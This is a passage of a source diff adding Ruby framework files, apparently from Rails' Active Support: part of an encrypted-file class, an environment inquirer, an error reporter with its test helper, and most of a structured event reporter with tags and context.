+    class MissingKeyError < RuntimeError
+      def initialize(key_path:, env_key:)
+        super \
+          "Missing encryption key to decrypt file with. " +
+          "Ask your team for your master key and write it to #{key_path} or put it in the ENV['#{env_key}']."
+      end
+    end
+
+    class InvalidKeyLengthError < RuntimeError
+      def initialize
+        super "Encryption key must be exactly #{EncryptedFile.expected_key_length} characters."
+      end
+    end
+
+    CIPHER = "aes-128-gcm"
+
+    def self.generate_key
+      SecureRandom.hex(ActiveSupport::MessageEncryptor.key_len(CIPHER))
+    end
+
+    def self.expected_key_length # :nodoc:
+      @expected_key_length ||= generate_key.length
+    end
+
+
+    attr_reader :content_path, :key_path, :env_key, :raise_if_missing_key
+
+    def initialize(content_path:, key_path:, env_key:, raise_if_missing_key:)
+      @content_path = Pathname.new(content_path).yield_self { |path| path.symlink? ? path.realpath : path }
+      @key_path = Pathname.new(key_path)
+      @env_key, @raise_if_missing_key = env_key, raise_if_missing_key
+    end
+
+    # Returns the encryption key, first trying the environment variable
+    # specified by +env_key+, then trying the key file specified by +key_path+.
+    # If +raise_if_missing_key+ is true, raises MissingKeyError if the
+    # environment variable is not set and the key file does not exist.
+    def key
+      read_env_key || read_key_file || handle_missing_key
+    end
+
+    # Returns truthy if #key is truthy. Returns falsy otherwise. Unlike #key,
+    # does not raise MissingKeyError when +raise_if_missing_key+ is true.
+    def key?
+      read_env_key || read_key_file
+    end
+
+    # Reads the file and returns the decrypted content.
+    #
+    # Raises:
+    # - MissingKeyError if the key is missing and +raise_if_missing_key+ is true.
+    # - MissingContentError if the encrypted file does not exist or otherwise
+    #   if the key is missing.
+    # - ActiveSupport::MessageEncryptor::InvalidMessage if the content cannot be
+    #   decrypted or verified.
+    def read
+      if !key.nil? && content_path.exist?
+        decrypt content_path.binread.strip
+      else
+        raise MissingContentError, content_path
+      end
+    end
+
+    def write(contents)
+      IO.binwrite "#{content_path}.tmp", encrypt(contents)
+      FileUtils.mv "#{content_path}.tmp", content_path
+    end
+
+    def change(&block)
+      writing read, &block
+    end
+
+
+    private
+      def writing(contents)
+        Tempfile.create(["", "-" + content_path.basename.to_s.chomp(".enc")]) do |tmp_file|
+          tmp_path = Pathname.new(tmp_file)
+          tmp_path.binwrite contents
+
+          yield tmp_path
+
+          updated_contents = tmp_path.binread
+
+          write(updated_contents) if updated_contents != contents
+        end
+      end
+
+
+      def encrypt(contents)
+        check_key_length
+        encryptor.encrypt_and_sign contents
+      end
+
+      def decrypt(contents)
+        encryptor.decrypt_and_verify contents
+      end
+
+      def encryptor
+        @encryptor ||= ActiveSupport::MessageEncryptor.new([ key ].pack("H*"), cipher: CIPHER, serializer: Marshal)
+      end
+
+
+      def read_env_key
+        ENV[env_key].presence
+      end
+
+      def read_key_file
+        @key_file_contents ||= (key_path.binread.strip if key_path.exist?)
+      end
+
+      def handle_missing_key
+        raise MissingKeyError.new(key_path: key_path, env_key: env_key) if raise_if_missing_key
+      end
+
+      def check_key_length
+        raise InvalidKeyLengthError if key&.length != self.class.expected_key_length
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/environment_inquirer.rb b/activesupport/lib/active_support/environment_inquirer.rb
new file mode 100644
index 0000000000000..6fa4fa1d83afc
--- /dev/null
+++ b/activesupport/lib/active_support/environment_inquirer.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "active_support/string_inquirer"
+require "active_support/core_ext/object/inclusion"
+
+module ActiveSupport
+  class EnvironmentInquirer < StringInquirer # :nodoc:
+    # Optimization for the three default environments, so this inquirer doesn't need to rely on
+    # the slower delegation through method_missing that StringInquirer would normally entail.
+    DEFAULT_ENVIRONMENTS = %w[ development test production ]
+
+    # Environments that'll respond true for #local?
+    LOCAL_ENVIRONMENTS = %w[ development test ]
+
+    def initialize(env)
+      raise(ArgumentError, "'local' is a reserved environment name") if env == "local"
+
+      super(env)
+
+      DEFAULT_ENVIRONMENTS.each do |default|
+        instance_variable_set :"@#{default}", env == default
+      end
+
+      @local = in? LOCAL_ENVIRONMENTS
+    end
+
+    DEFAULT_ENVIRONMENTS.each do |env|
+      class_eval <<~RUBY, __FILE__, __LINE__ + 1
+        def #{env}?
+          @#{env}
+        end
+      RUBY
+    end
+
+    # Returns true if we're in the development or test environment.
+    def local?
+      @local
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/error_reporter.rb b/activesupport/lib/active_support/error_reporter.rb
new file mode 100644
index 0000000000000..68559f062f01b
--- /dev/null
+++ b/activesupport/lib/active_support/error_reporter.rb
@@ -0,0 +1,318 @@
+# frozen_string_literal: true
+
+module ActiveSupport
+  # = Active Support \Error Reporter
+  #
+  # +ActiveSupport::ErrorReporter+ is a common interface for error reporting services.
+  #
+  # To rescue and report any unhandled error, you can use the #handle method:
+  #
+  #   Rails.error.handle do
+  #     do_something!
+  #   end
+  #
+  # If an error is raised, it will be reported and swallowed.
+  #
+  # Alternatively, if you want to report the error but not swallow it, you can use #record:
+  #
+  #   Rails.error.record do
+  #     do_something!
+  #   end
+  #
+  # Both methods can be restricted to handle only a specific error class:
+  #
+  #   maybe_tags = Rails.error.handle(Redis::BaseError) { redis.get("tags") }
+  #
+  class ErrorReporter
+    SEVERITIES = %i(error warning info)
+    DEFAULT_SOURCE = "application"
+    DEFAULT_RESCUE = [StandardError].freeze
+
+    attr_accessor :logger, :debug_mode
+
+    UnexpectedError = Class.new(Exception)
+
+    def initialize(*subscribers, logger: nil)
+      @subscribers = subscribers.flatten
+      @logger = logger
+      @debug_mode = false
+      @context_middlewares = ErrorContextMiddlewareStack.new
+    end
+
+    # Evaluates the given block, reporting and swallowing any unhandled error.
+    # If no error is raised, returns the return value of the block. Otherwise,
+    # returns the result of +fallback.call+, or +nil+ if +fallback+ is not
+    # specified.
+    #
+    #   # Will report a TypeError to all subscribers and return nil.
+    #   Rails.error.handle do
+    #     1 + '1'
+    #   end
+    #
+    # Can be restricted to handle only specific error classes:
+    #
+    #   maybe_tags = Rails.error.handle(Redis::BaseError) { redis.get("tags") }
+    #
+    # ==== Options
+    #
+    # * +:severity+ - This value is passed along to subscribers to indicate how
+    #   important the error report is. Can be +:error+, +:warning+, or +:info+.
+    #   Defaults to +:warning+.
+    #
+    # * +:context+ - Extra information that is passed along to subscribers. For
+    #   example:
+    #
+    #     Rails.error.handle(context: { section: "admin" }) do
+    #       # ...
+    #     end
+    #
+    # * +:fallback+ - A callable that provides +handle+'s return value when an
+    #   unhandled error is raised. For example:
+    #
+    #     user = Rails.error.handle(fallback: -> { User.anonymous }) do
+    #       User.find_by(params)
+    #     end
+    #
+    # * +:source+ - This value is passed along to subscribers to indicate the
+    #   source of the error. Subscribers can use this value to ignore certain
+    #   errors. Defaults to <tt>"application"</tt>.
+    def handle(*error_classes, severity: :warning, context: {}, fallback: nil, source: DEFAULT_SOURCE)
+      error_classes = DEFAULT_RESCUE if error_classes.empty?
+      yield
+    rescue *error_classes => error
+      report(error, handled: true, severity: severity, context: context, source: source)
+      fallback.call if fallback
+    end
+
+    # Evaluates the given block, reporting and re-raising any unhandled error.
+    # If no error is raised, returns the return value of the block.
+    #
+    #   # Will report a TypeError to all subscribers and re-raise it.
+    #   Rails.error.record do
+    #     1 + '1'
+    #   end
+    #
+    # Can be restricted to handle only specific error classes:
+    #
+    #   tags = Rails.error.record(Redis::BaseError) { redis.get("tags") }
+    #
+    # ==== Options
+    #
+    # * +:severity+ - This value is passed along to subscribers to indicate how
+    #   important the error report is. Can be +:error+, +:warning+, or +:info+.
+    #   Defaults to +:error+.
+    #
+    # * +:context+ - Extra information that is passed along to subscribers. For
+    #   example:
+    #
+    #     Rails.error.record(context: { section: "admin" }) do
+    #       # ...
+    #     end
+    #
+    # * +:source+ - This value is passed along to subscribers to indicate the
+    #   source of the error. Subscribers can use this value to ignore certain
+    #   errors. Defaults to <tt>"application"</tt>.
+    def record(*error_classes, severity: :error, context: {}, source: DEFAULT_SOURCE)
+      error_classes = DEFAULT_RESCUE if error_classes.empty?
+      yield
+    rescue *error_classes => error
+      report(error, handled: false, severity: severity, context: context, source: source)
+      raise
+    end
+
+    # Either report the given error when in production, or raise it when in development or test.
+    #
+    # When called in production, after the error is reported, this method will return
+    # nil and execution will continue.
+    #
+    # When called in development, the original error is wrapped in a different error class to ensure
+    # it's not being rescued higher in the stack and will be surfaced to the developer.
+    #
+    # This method is intended for reporting violated assertions about preconditions, or similar
+    # cases that can and should be gracefully handled in production, but that aren't supposed to happen.
+    #
+    # The error can be either an exception instance or a String.
+    #
+    #   example:
+    #
+    #     def edit
+    #       if published?
+    #         Rails.error.unexpected("[BUG] Attempting to edit a published article, that shouldn't be possible")
+    #         return false
+    #       end
+    #       # ...
+    #     end
+    #
+    def unexpected(error, severity: :warning, context: {}, source: DEFAULT_SOURCE)
+      error = RuntimeError.new(error) if error.is_a?(String)
+
+      if @debug_mode
+        ensure_backtrace(error)
+        raise UnexpectedError, "#{error.class.name}: #{error.message}", error.backtrace, cause: error
+      else
+        report(error, handled: true, severity: severity, context: context, source: source)
+      end
+    end
+
+    # Register a new error subscriber. The subscriber must respond to
+    #
+    #   report(Exception, handled: Boolean, severity: (:error OR :warning OR :info), context: Hash, source: String)
+    #
+    # The +report+ method <b>should never</b> raise an error.
+    def subscribe(subscriber)
+      unless subscriber.respond_to?(:report)
+        raise ArgumentError, "Error subscribers must respond to #report"
+      end
+      @subscribers << subscriber
+    end
+
+    # Unregister an error subscriber. Accepts either a subscriber or a class.
+    #
+    #   subscriber = MyErrorSubscriber.new
+    #   Rails.error.subscribe(subscriber)
+    #
+    #   Rails.error.unsubscribe(subscriber)
+    #   # or
+    #   Rails.error.unsubscribe(MyErrorSubscriber)
+    def unsubscribe(subscriber)
+      @subscribers.delete_if { |s| subscriber === s }
+    end
+
+    # Prevent a subscriber from being notified of errors for the
+    # duration of the block. You may pass in the subscriber itself, or its class.
+    #
+    # This can be helpful for error reporting service integrations, when they wish
+    # to handle any errors higher in the stack.
+    def disable(subscriber)
+      disabled_subscribers = (ActiveSupport::IsolatedExecutionState[self] ||= [])
+      disabled_subscribers << subscriber
+      begin
+        yield
+      ensure
+        disabled_subscribers.delete(subscriber)
+      end
+    end
+
+    # Update the execution context that is accessible to error subscribers. Any
+    # context passed to #handle, #record, or #report will be merged with the
+    # context set here.
+    #
+    #   Rails.error.set_context(section: "checkout", user_id: @user.id)
+    #
+    def set_context(...)
+      ActiveSupport::ExecutionContext.set(...)
+    end
+
+    # Add a middleware to modify the error context before it is sent to subscribers.
+    #
+    # Middleware is added to a stack of callables run on an error's execution context
+    # before passing to subscribers. Allows creation of entries in error context that
+    # are shared by all subscribers.
+    #
+    # A context middleware receives the same parameters as #report.
+    # It must return a hash - the middleware stack returns the hash after it has
+    # run through all middlewares. A middleware can mutate or replace the hash.
+    #
+    #   Rails.error.add_middleware(-> (error, context) { context.merge({ foo: :bar }) })
+    #
+    def add_middleware(middleware)
+      @context_middlewares.use(middleware)
+    end
+
+    # Report an error directly to subscribers. You can use this method when the
+    # block-based #handle and #record methods are not suitable.
+    #
+    #   Rails.error.report(error)
+    #
+    # The +error+ argument must be an instance of Exception.
+    #
+    #   Rails.error.report(Exception.new("Something went wrong"))
+    #
+    # Otherwise you can use #unexpected to report an error which does accept a
+    # string argument.
+    def report(error, handled: true, severity: handled ? :warning : :error, context: {}, source: DEFAULT_SOURCE)
+      return if error.instance_variable_defined?(:@__rails_error_reported)
+      raise ArgumentError, "Reported error must be an Exception, got: #{error.inspect}" unless error.is_a?(Exception)
+
+      ensure_backtrace(error)
+
+      unless SEVERITIES.include?(severity)
+        raise ArgumentError, "severity must be one of #{SEVERITIES.map(&:inspect).join(", ")}, got: #{severity.inspect}"
+      end
+
+      full_context = @context_middlewares.execute(
+        error,
+        context: ActiveSupport::ExecutionContext.to_h.merge(context || {}),
+        handled:,
+        severity:,
+        source:
+      )
+
+      disabled_subscribers = ActiveSupport::IsolatedExecutionState[self]
+      @subscribers.each do |subscriber|
+        unless disabled_subscribers&.any? { |s| s === subscriber }
+          subscriber.report(error, handled: handled, severity: severity, context: full_context, source: source)
+        end
+      rescue => subscriber_error
+        if logger
+          logger.fatal(
+            "Error subscriber raised an error: #{subscriber_error.message} (#{subscriber_error.class})\n" +
+            subscriber_error.backtrace.join("\n")
+          )
+        else
+          raise
+        end
+      end
+
+      while error
+        unless error.frozen?
+          error.instance_variable_set(:@__rails_error_reported, true)
+        end
+        error = error.cause
+      end
+
+      nil
+    end
+
+    private
+      def ensure_backtrace(error)
+        return if error.frozen? # re-raising won't add a backtrace or set the cause
+        return unless error.backtrace.nil?
+
+        begin
+          # As of Ruby 3.4, we could use Exception#set_backtrace to set the backtrace,
+          # but there's nothing like Exception#set_cause. Raising+rescuing is the only way to set the cause.
+          raise error
+        rescue error.class => error
+        end
+
+        count = 0
+        while error.backtrace_locations.first&.path == __FILE__
+          count += 1
+          error.backtrace_locations.shift
+        end
+
+        error.backtrace.shift(count)
+      end
+
+      class ErrorContextMiddlewareStack # :nodoc:
+        def initialize
+          @stack = []
+        end
+
+        # Add a middleware to the error context stack.
+        def use(middleware)
+          unless middleware.respond_to?(:call)
+            raise ArgumentError, "Error context middleware must respond to #call"
+          end
+
+          @stack << middleware
+        end
+
+        # Run all middlewares in the stack
+        def execute(error, handled:, severity:, context:, source:)
+          @stack.inject(context) { |c, middleware| middleware.call(error, context: c, handled:, severity:, source:) }
+        end
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/error_reporter/test_helper.rb b/activesupport/lib/active_support/error_reporter/test_helper.rb
new file mode 100644
index 0000000000000..bc67efa237f27
--- /dev/null
+++ b/activesupport/lib/active_support/error_reporter/test_helper.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module ActiveSupport::ErrorReporter::TestHelper # :nodoc:
+  class ErrorSubscriber
+    attr_reader :events
+
+    def initialize
+      @events = []
+    end
+
+    def report(error, handled:, severity:, source:, context:)
+      @events << [error, handled, severity, source, context]
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/event_reporter.rb b/activesupport/lib/active_support/event_reporter.rb
new file mode 100644
index 0000000000000..3ed5eee330a63
--- /dev/null
+++ b/activesupport/lib/active_support/event_reporter.rb
@@ -0,0 +1,603 @@
+# frozen_string_literal: true
+
+require "active_support/parameter_filter"
+
+module ActiveSupport
+  class TagStack # :nodoc:
+    EMPTY_TAGS = {}.freeze
+    FIBER_KEY = :event_reporter_tags
+
+    class << self
+      def tags
+        Fiber[FIBER_KEY] || EMPTY_TAGS
+      end
+
+      def with_tags(*args, **kwargs)
+        existing_tags = tags
+        tags = existing_tags.dup
+        tags.merge!(resolve_tags(args, kwargs))
+        new_tags = tags.freeze
+
+        begin
+          Fiber[FIBER_KEY] = new_tags
+          yield
+        ensure
+          Fiber[FIBER_KEY] = existing_tags
+        end
+      end
+
+      private
+        def resolve_tags(args, kwargs)
+          tags = args.each_with_object({}) do |arg, tags|
+            case arg
+            when String
+              tags[arg.to_sym] = true
+            when Symbol
+              tags[arg] = true
+            when Hash
+              arg.each { |key, value| tags[key.to_sym] = value }
+            else
+              tags[arg.class.name.to_sym] = arg
+            end
+          end
+          kwargs.each { |key, value| tags[key.to_sym] = value }
+          tags
+        end
+    end
+  end
+
+  class EventContext # :nodoc:
+    EMPTY_CONTEXT = {}.freeze
+    FIBER_KEY = :event_reporter_context
+
+    class << self
+      def context
+        Fiber[FIBER_KEY] || EMPTY_CONTEXT
+      end
+
+      def set_context(context_hash)
+        new_context = self.context.dup
+        context_hash.each { |key, value| new_context[key.to_sym] = value }
+
+        Fiber[FIBER_KEY] = new_context.freeze
+      end
+
+      def clear
+        Fiber[FIBER_KEY] = EMPTY_CONTEXT
+      end
+    end
+  end
+
+  # = Active Support \Event Reporter
+  #
+  # +ActiveSupport::EventReporter+ provides an interface for reporting structured events to subscribers.
+  #
+  # To report an event, you can use the +notify+ method:
+  #
+  #   Rails.event.notify("user_created", { id: 123 })
+  #   # Emits event:
+  #   #  {
+  #   #    name: "user_created",
+  #   #    payload: { id: 123 },
+  #   #    timestamp: 1738964843208679035,
+  #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+  #   #  }
+  #
+  # The +notify+ API can receive either an event name and a payload hash, or an event object. Names are coerced to strings.
+  #
+  # === Event Objects
+  #
+  # If an event object is passed to the +notify+ API, it will be passed through to subscribers as-is, and the name of the
+  # object's class will be used as the event name.
+  #
+  #   class UserCreatedEvent
+  #     def initialize(id:, name:)
+  #       @id = id
+  #       @name = name
+  #     end
+  #
+  #     def serialize
+  #       {
+  #         id: @id,
+  #         name: @name
+  #       }
+  #     end
+  #   end
+  #
+  #   Rails.event.notify(UserCreatedEvent.new(id: 123, name: "John Doe"))
+  #   # Emits event:
+  #   #  {
+  #   #    name: "UserCreatedEvent",
+  #   #    payload: #<UserCreatedEvent:0x111>,
+  #   #    timestamp: 1738964843208679035,
+  #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+  #   #  }
+  #
+  # An event is any Ruby object representing a schematized event. While payload hashes allow arbitrary,
+  # implicitly-structured data, event objects are intended to enforce a particular schema.
+  #
+  # Subscribers are responsible for serializing event objects.
+  #
+  # === Subscribers
+  #
+  # Subscribers must implement the +emit+ method, which will be called with the event hash.
+  #
+  # The event hash has the following keys:
+  #
+  #   name: String (The name of the event)
+  #   payload: Hash, Object (The payload of the event, or the event object itself)
+  #   tags: Hash (The tags of the event)
+  #   context: Hash (The context of the event)
+  #   timestamp: Float (The timestamp of the event, in nanoseconds)
+  #   source_location: Hash (The source location of the event, containing the filepath, lineno, and label)
+  #
+  # Subscribers are responsible for encoding events to their desired format before emitting them to their
+  # target destination, such as a streaming platform, a log device, or an alerting service.
+  #
+  #   class JSONEventSubscriber
+  #     def emit(event)
+  #       json_data = JSON.generate(event)
+  #       LogExporter.export(json_data)
+  #     end
+  #   end
+  #
+  #   class LogSubscriber
+  #     def emit(event)
+  #       payload = event[:payload].map { |key, value| "#{key}=#{value}" }.join(" ")
+  #       source_location = event[:source_location]
+  #       log = "[#{event[:name]}] #{payload} at #{source_location[:filepath]}:#{source_location[:lineno]}"
+  #       Rails.logger.info(log)
+  #     end
+  #   end
+  #
+  # Note that event objects are passed through to subscribers as-is, and may need to be serialized before being encoded:
+  #
+  #   class UserCreatedEvent
+  #     def initialize(id:, name:)
+  #       @id = id
+  #       @name = name
+  #     end
+  #
+  #     def serialize
+  #       {
+  #         id: @id,
+  #         name: @name
+  #       }
+  #     end
+  #   end
+  #
+  #   class LogSubscriber
+  #     def emit(event)
+  #       payload = event[:payload]
+  #       json_data = JSON.generate(payload.serialize)
+  #       LogExporter.export(json_data)
+  #     end
+  #   end
+  #
+  # ==== Filtered Subscriptions
+  #
+  # Subscribers can be configured with an optional filter proc to only receive a subset of events:
+  #
+  #   # Only receive events with names starting with "user."
+  #   Rails.event.subscribe(user_subscriber) { |event| event[:name].start_with?("user.") }
+  #
+  #   # Only receive events with specific payload types
+  #   Rails.event.subscribe(audit_subscriber) { |event| event[:payload].is_a?(AuditEvent) }
+  #
+  # === Debug Events
+  #
+  # You can use the +debug+ method to report an event that will only be reported if the
+  # event reporter is in debug mode:
+  #
+  #   Rails.event.debug("my_debug_event", { foo: "bar" })
+  #
+  # === Tags
+  #
+  # To add additional context to an event, separate from the event payload, you can add
+  # tags via the +tagged+ method:
+  #
+  #   Rails.event.tagged("graphql") do
+  #     Rails.event.notify("user_created", { id: 123 })
+  #   end
+  #
+  #   # Emits event:
+  #   #  {
+  #   #    name: "user_created",
+  #   #    payload: { id: 123 },
+  #   #    tags: { graphql: true },
+  #   #    context: {},
+  #   #    timestamp: 1738964843208679035,
+  #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+  #   #  }
+  #
+  # === Context Store
+  #
+  # You may want to attach metadata to every event emitted by the reporter. While tags
+  # provide domain-specific context for a series of events, context is scoped to the job / request
+  # and should be used for metadata associated with the execution context.
+  # Context can be set via the +set_context+ method:
+  #
+  #   Rails.event.set_context(request_id: "abcd123", user_agent: "TestAgent")
+  #   Rails.event.notify("user_created", { id: 123 })
+  #
+  #   # Emits event:
+  #   #  {
+  #   #    name: "user_created",
+  #   #    payload: { id: 123 },
+  #   #    tags: {},
+  #   #    context: { request_id: "abcd123", user_agent: "TestAgent" },
+  #   #    timestamp: 1738964843208679035,
+  #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+  #   #  }
+  #
+  # Context is reset automatically before and after each request.
+  #
+  # A custom context store can be configured via +config.active_support.event_reporter_context_store+.
+  #
+  #     # config/application.rb
+  #     config.active_support.event_reporter_context_store = CustomContextStore
+  #
+  #     class CustomContextStore
+  #       class << self
+  #         def context
+  #           # Return the context.
+  #         end
+  #
+  #         def set_context(context_hash)
+  #           # Append context_hash to the existing context store.
+  #         end
+  #
+  #         def clear
+  #           # Delete the stored context.
+  #         end
+  #       end
+  #     end
+  #
+  # The Event Reporter standardizes on symbol keys for all payload data, tags, and context store entries.
+  # String keys are automatically converted to symbols for consistency.
+  #
+  #   Rails.event.notify("user.created", { "id" => 123 })
+  #   # Emits event:
+  #   #  {
+  #   #    name: "user.created",
+  #   #    payload: { id: 123 },
+  #   #  }
+  #
+  # === Security
+  #
+  # When reporting events, Hash-based payloads are automatically filtered to remove sensitive data based on {Rails.application.filter_parameters}[https://guides.rubyonrails.org/configuring.html#config-filter-parameters].
+  #
+  # If an {event object}[rdoc-ref:EventReporter@Event+Objects] is given instead, subscribers will need to filter sensitive data themselves, e.g. with ActiveSupport::ParameterFilter.
+  class EventReporter
+    extend ActiveSupport::Autoload
+
+    autoload :LogSubscriber
+
+    # Sets whether to raise an error if a subscriber raises an error during
+    # event emission, or when unexpected arguments are passed to +notify+.
+    attr_writer :raise_on_error
+
+    attr_writer :debug_mode # :nodoc:
+
+    attr_reader :subscribers # :nodoc
+
+    class << self
+      # Filter parameters used to filter event payloads. If nil,
+      # Active Support's filter parameters will be used instead.
+      attr_accessor :filter_parameters
+      attr_accessor :context_store # :nodoc:
+    end
+
+    self.context_store = EventContext
+
+    def initialize(*subscribers, raise_on_error: false)
+      @subscribers = []
+      subscribers.each { |subscriber| subscribe(subscriber) }
+      @debug_mode = true
+      @raise_on_error = raise_on_error
+    end
+
+    # Registers a new event subscriber. The subscriber must respond to
+    #
+    #   emit(event: Hash)
+    #
+    # The event hash will have the following keys:
+    #
+    #   name: String (The name of the event)
+    #   payload: Hash, Object (The payload of the event, or the event object itself)
+    #   tags: Hash (The tags of the event)
+    #   context: Hash (The context of the event)
+    #   timestamp: Float (The timestamp of the event, in nanoseconds)
+    #   source_location: Hash (The source location of the event, containing the filepath, lineno, and label)
+    #
+    # An optional filter proc can be provided to only receive a subset of events:
+    #
+    #   Rails.event.subscribe(subscriber) { |event| event[:name].start_with?("user.") }
+    #   Rails.event.subscribe(subscriber) { |event| event[:payload].is_a?(UserEvent) }
+    #
+    def subscribe(subscriber, &filter)
+      unless subscriber.respond_to?(:emit)
+        raise ArgumentError, "Event subscriber #{subscriber.class.name} must respond to #emit"
+      end
+      @subscribers << { subscriber: subscriber, filter: filter }
+    end
+
+    # Unregister an event subscriber. Accepts either a subscriber or a class.
+    #
+    #   subscriber = MyEventSubscriber.new
+    #   Rails.event.subscribe(subscriber)
+    #
+    #   Rails.event.unsubscribe(subscriber)
+    #   # or
+    #   Rails.event.unsubscribe(MyEventSubscriber)
+    def unsubscribe(subscriber)
+      @subscribers.delete_if { |s| subscriber === s[:subscriber] }
+    end
+
+    # Reports an event to all registered subscribers. An event name and payload can be provided:
+    #
+    #     Rails.event.notify("user.created", { id: 123 })
+    #     # Emits event:
+    #     #  {
+    #     #    name: "user.created",
+    #     #    payload: { id: 123 },
+    #     #    tags: {},
+    #     #    context: {},
+    #     #    timestamp: 1738964843208679035,
+    #     #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+    #     #  }
+    #
+    # Alternatively, an event object can be provided:
+    #
+    #   Rails.event.notify(UserCreatedEvent.new(id: 123))
+    #   # Emits event:
+    #   #  {
+    #   #    name: "UserCreatedEvent",
+    #   #    payload: #<UserCreatedEvent:0x111>,
+    #   #    tags: {},
+    #   #    context: {},
+    #   #    timestamp: 1738964843208679035,
+    #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+    #   #  }
+    #
+    # ==== Arguments
+    #
+    # * +:payload+ - The event payload when using string/symbol event names.
+    #
+    # * +:caller_depth+ - The stack depth to use for source location (default: 1).
+    #
+    # * +:kwargs+ - Additional payload data when using string/symbol event names.
+    def notify(name_or_object, payload = nil, caller_depth: 1, **kwargs)
+      name = resolve_name(name_or_object)
+      payload = resolve_payload(name_or_object, payload, **kwargs)
+
+      event = {
+        name: name,
+        payload: payload,
+        tags: TagStack.tags,
+        context: context_store.context,
+        timestamp: Process.clock_gettime(Process::CLOCK_REALTIME, :nanosecond),
+      }
+
+      caller_location = caller_locations(caller_depth, 1)&.first
+
+      if caller_location
+        source_location = {
+          filepath: caller_location.path,
+          lineno: caller_location.lineno,
+          label: caller_location.label,
+        }
+        event[:source_location] = source_location
+      end
+
+      @subscribers.each do |subscriber_entry|
+        subscriber = subscriber_entry[:subscriber]
+        filter = subscriber_entry[:filter]
+
+        next if filter && !filter.call(event)
+
+        subscriber.emit(event)
+      rescue => subscriber_error
+        if raise_on_error?
+          raise
+        else
+          ActiveSupport.error_reporter.report(subscriber_error, handled: true)
+        end
+      end
+
+      nil
+    end
+
+    # Temporarily enables debug mode for the duration of the block.
+    # Calls to +debug+ will only be reported if debug mode is enabled.
+    #
+    #   Rails.event.with_debug do
+    #     Rails.event.debug("sql.query", { sql: "SELECT * FROM users" })
+    #   end
+    def with_debug
+      prior = Fiber[:event_reporter_debug_mode]
+      Fiber[:event_reporter_debug_mode] = true
+      yield
+    ensure
+      Fiber[:event_reporter_debug_mode] = prior
+    end
+
+    # Check if debug mode is currently enabled. Debug mode is enabled on the reporter
+    # via +with_debug+, and in local environments.
+    def debug_mode?
+      @debug_mode || Fiber[:event_reporter_debug_mode]
+    end
+
+    # Report an event only when in debug mode. For example:
+    #
+    #   Rails.event.debug("sql.query", { sql: "SELECT * FROM users" })
+    #
+    # ==== Arguments
+    #
+    # * +:payload+ - The event payload when using string/symbol event names.
+    #
+    # * +:caller_depth+ - The stack depth to use for source location (default: 1).
+    #
+    # * +:kwargs+ - Additional payload data when using string/symbol event names.
+    def debug(name_or_object, payload = nil, caller_depth: 1, **kwargs)
+      if debug_mode?
+        if block_given?
+          notify(name_or_object, payload, caller_depth: caller_depth + 1, **kwargs.merge(yield))
+        else
+          notify(name_or_object, payload, caller_depth: caller_depth + 1, **kwargs)
+        end
+      end
+    end
+
+    # Add tags to events to supply additional context. Tags operate in a stack-oriented manner,
+    # so all events emitted within the block inherit the same set of tags. For example:
+    #
+    #   Rails.event.tagged("graphql") do
+    #     Rails.event.notify("user.created", { id: 123 })
+    #   end
+    #
+    #   # Emits event:
+    #   # {
+    #   #    name: "user.created",
+    #   #    payload: { id: 123 },
+    #   #    tags: { graphql: true },
+    #   #    context: {},
+    #   #    timestamp: 1738964843208679035,
+    #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+    #   #  }
+    #
+    # Tags can be provided as arguments or as keyword arguments, and can be nested:
+    #
+    #   Rails.event.tagged("graphql") do
+    #   # Other code here...
+    #     Rails.event.tagged(section: "admin") do
+    #       Rails.event.notify("user.created", { id: 123 })
+    #     end
+    #   end
+    #
+    #   # Emits event:
+    #   #  {
+    #   #    name: "user.created",
+    #   #    payload: { id: 123 },
+    #   #    tags: { section: "admin", graphql: true },
+    #   #    context: {},
+    #   #    timestamp: 1738964843208679035,
+    #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+    #   #  }
+    #
+    # The +tagged+ API can also receive a tag object:
+    #
+    #   graphql_tag = GraphqlTag.new(operation_name: "user_created", operation_type: "mutation")
+    #   Rails.event.tagged(graphql_tag) do
+    #     Rails.event.notify("user.created", { id: 123 })
+    #   end
+    #
+    #   # Emits event:
+    #   #  {
+    #   #    name: "user.created",
+    #   #    payload: { id: 123 },
+    #   #    tags: { "GraphqlTag": #<GraphqlTag:0x111> },
+    #   #    context: {},
+    #   #    timestamp: 1738964843208679035,
+    #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+    #   #  }
+    def tagged(*args, **kwargs, &block)
+      TagStack.with_tags(*args, **kwargs, &block)
+    end
+
+    # Sets context data that will be included with all events emitted by the reporter.
+    # Context data should be scoped to the job or request, and is reset automatically
+    # before and after each request and job.
+    #
+    #   Rails.event.set_context(user_agent: "TestAgent")
+    #   Rails.event.set_context(job_id: "abc123")
+    #   Rails.event.tagged("graphql") do
+    #     Rails.event.notify("user_created", { id: 123 })
+    #   end
+    #
+    #   # Emits event:
+    #   #  {
+    #   #    name: "user_created",
+    #   #    payload: { id: 123 },
+    #   #    tags: { graphql: true },
+    #   #    context: { user_agent: "TestAgent", job_id: "abc123" },
+    #   #    timestamp: 1738964843208679035
+    #   #    source_location: { filepath: "path/to/file.rb", lineno: 123, label: "UserService#create" }
+    #   #  }
+    def set_context(context)
+      context_store.set_context(context)
+    end
+
+    # Clears all context data.
+    def clear_context
+      context_store.clear
+    end
+
+    # Returns the current context data.
+    def context
+      context_store.context
+    end
+
+    def reload_payload_filter # :nodoc:
+      @payload_filter = nil
+      payload_filter
+    end
+
+    private
+      def filter_parameters
+        self.class.filter_parameters || ActiveSupport.filter_parameters
+      end
+
+      def raise_on_error?
+        @raise_on_error
+      end
+
+      def context_store
+        self.class.context_store
+      end
+
+      def payload_filter
+        @payload_filter ||= begin
